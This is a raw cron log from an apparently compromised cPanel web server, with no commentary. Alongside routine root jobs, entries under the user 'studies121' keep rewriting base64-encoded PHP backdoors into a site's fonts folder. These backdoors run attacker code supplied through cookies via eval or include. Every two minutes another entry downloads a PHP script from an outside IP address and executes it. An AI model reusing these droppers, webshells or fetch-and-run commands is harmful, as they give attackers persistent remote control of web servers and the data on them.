Sep 12 07:19:01 ip-184-168-122-23 CROND[17902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:19:01 ip-184-168-122-23 CROND[17901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:19:01 ip-184-168-122-23 CROND[17903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:20:01 ip-184-168-122-23 CROND[17990]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:20:01 ip-184-168-122-23 CROND[17992]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:20:01 ip-184-168-122-23 CROND[17991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:20:01 ip-184-168-122-23 CROND[17993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:20:01 ip-184-168-122-23 CROND[17999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:20:01 ip-184-168-122-23 CROND[18000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:20:01 ip-184-168-122-23 CROND[18001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:20:01 ip-184-168-122-23 CROND[18002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:20:01 ip-184-168-122-23 CROND[18004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:21:01 ip-184-168-122-23 CROND[18109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:21:01 ip-184-168-122-23 CROND[18112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:21:01 ip-184-168-122-23 CROND[18111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:21:01 ip-184-168-122-23 CROND[18113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:22:01 ip-184-168-122-23 CROND[18202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:22:01 ip-184-168-122-23 CROND[18204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:22:01 ip-184-168-122-23 CROND[18205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:22:01 ip-184-168-122-23 CROND[18206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:22:01 ip-184-168-122-23 CROND[18208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:23:01 ip-184-168-122-23 CROND[18369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:23:01 ip-184-168-122-23 CROND[18371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:23:01 ip-184-168-122-23 CROND[18372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:23:01 ip-184-168-122-23 CROND[18373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:24:01 ip-184-168-122-23 CROND[18451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:24:01 ip-184-168-122-23 CROND[18454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:24:01 ip-184-168-122-23 CROND[18456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:24:01 ip-184-168-122-23 CROND[18453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:24:01 ip-184-168-122-23 CROND[18455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:25:01 ip-184-168-122-23 CROND[18574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:25:01 ip-184-168-122-23 CROND[18575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:25:01 ip-184-168-122-23 CROND[18576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:25:01 ip-184-168-122-23 CROND[18579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:25:01 ip-184-168-122-23 CROND[18577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:25:01 ip-184-168-122-23 CROND[18578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:26:01 ip-184-168-122-23 CROND[18685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:26:01 ip-184-168-122-23 CROND[18686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:26:01 ip-184-168-122-23 CROND[18688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:26:01 ip-184-168-122-23 CROND[18687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:26:01 ip-184-168-122-23 CROND[18689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:27:01 ip-184-168-122-23 CROND[18781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:27:01 ip-184-168-122-23 CROND[18782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:27:01 ip-184-168-122-23 CROND[18783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:27:01 ip-184-168-122-23 CROND[18785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:28:01 ip-184-168-122-23 CROND[18953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:28:01 ip-184-168-122-23 CROND[18956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:28:01 ip-184-168-122-23 CROND[18955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:28:01 ip-184-168-122-23 CROND[18958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:28:01 ip-184-168-122-23 CROND[18957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:29:01 ip-184-168-122-23 CROND[19051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:29:01 ip-184-168-122-23 CROND[19054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:29:01 ip-184-168-122-23 CROND[19052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:29:01 ip-184-168-122-23 CROND[19055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:30:01 ip-184-168-122-23 CROND[19158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:30:01 ip-184-168-122-23 CROND[19160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 07:30:01 ip-184-168-122-23 CROND[19163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 07:30:01 ip-184-168-122-23 CROND[19161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:30:01 ip-184-168-122-23 CROND[19167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:30:01 ip-184-168-122-23 CROND[19170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 07:30:01 ip-184-168-122-23 CROND[19169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:30:01 ip-184-168-122-23 CROND[19166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
